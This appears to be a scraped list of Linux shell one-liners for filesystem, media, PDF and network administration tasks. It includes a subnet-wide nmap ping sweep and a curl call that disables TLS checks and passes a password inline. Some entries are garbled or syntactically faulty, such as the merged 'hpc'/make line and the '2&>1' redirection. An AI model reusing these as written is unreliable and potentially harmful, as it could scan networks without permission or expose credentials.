# Migrate existing Ext3 filesystems to Ext4
tune2fs -O extents,uninit_bg,dir_index /dev/yourpartition
# most used commands in history (comprehensive)
history | perl -F"\||<\(|;|\`|\\$\(" -alne 'foreach (@F) { print $1 if /\b((?!do)[a-z]+)\b/i }' | sort | uniq -c | sort -nr | head
# DVD ripping with ffmpeg
cat VIDEO_TS/VTS_01_[1234].VOB | nice ffmpeg -i - -s 512x384 -vcodec libtheora -acodec libvorbis ~/Videos/dvd_rip.ogg
# eth-tool summary of eth# devices
for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
# Take a screenshot of the focused window with a 4 second countdown
scrot -ucd4 -e 'eog $f'
# Update dyndns.org with your external IP.
curl -v -k -u user:password "https://members.dyndns.org/nic/update?hostname=<your_domain_name_here>&myip=$(curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g')&wildcard=NOCHG&mx=NOCHG&backmx=NOCHG"
# Merge tarballs
cat 1.tar.gz 2.tar.gz > 3.tar.gz; tar zxvfi 3.tar.gz
# Create a file of a given size in linux
dd if=/dev/zero of=foo.txt bs=1M count=1
# Trick find -exec option to execute alias
find . -exec `alias foo | cut -d"'" -f2` {} \;
# Checks throughput between two nodes
cat /dev/zero | pv | ssh 192.168.1.2 "cat > /dev/null"
# Find the package a command belongs to on debian-based distros
apt-file search iostat
# Show sorted list of files with sizes more than 1MB in the current dir
du -hs * | grep '^[0-9,]*[MG]' | sort -rn
# Report all quota usage
quota -q $(cat /etc/passwd|cut -d ':' -f 1)
# Merge several pdf files into a single file
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf a.pdf b.pdf c.pdf
# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 brandx.jp.sme 2&>1 /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
# Find all active ip's in a subnet
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
# Check the status of a network interface
mii-tool [if]
# Skip over .svn directories when using the "find" command.
find . -not \( -name .svn -prune \)
# Virtual Console lock program
vlock
# Convert all .flac from a folder subtree in 192Kb mp3
find . -type f -iname '*.flac' | while read FILE; do FILENAME="${FILE%.*}"; flac -cd "$FILE" | lame -b 192 - "${FILENAME}.mp3"; done
# 'hpc' in the shell - starts a maximum of n compute commands modulo n controlle
d in parallel, using makeecho -n 'targets = $(subst .png,.jpg,$(wildcard *.png))\n$(targets):\n convert $(subst .jpg,.png,$@) $@ \nall : $(targets)' | make -j 4 -f - all
# Monitor a file with tail with timestamps added
tail -f file | while read line; do echo -n $(date -u -Ins); echo -e "\t$line"; done
# list all file extensions in a directory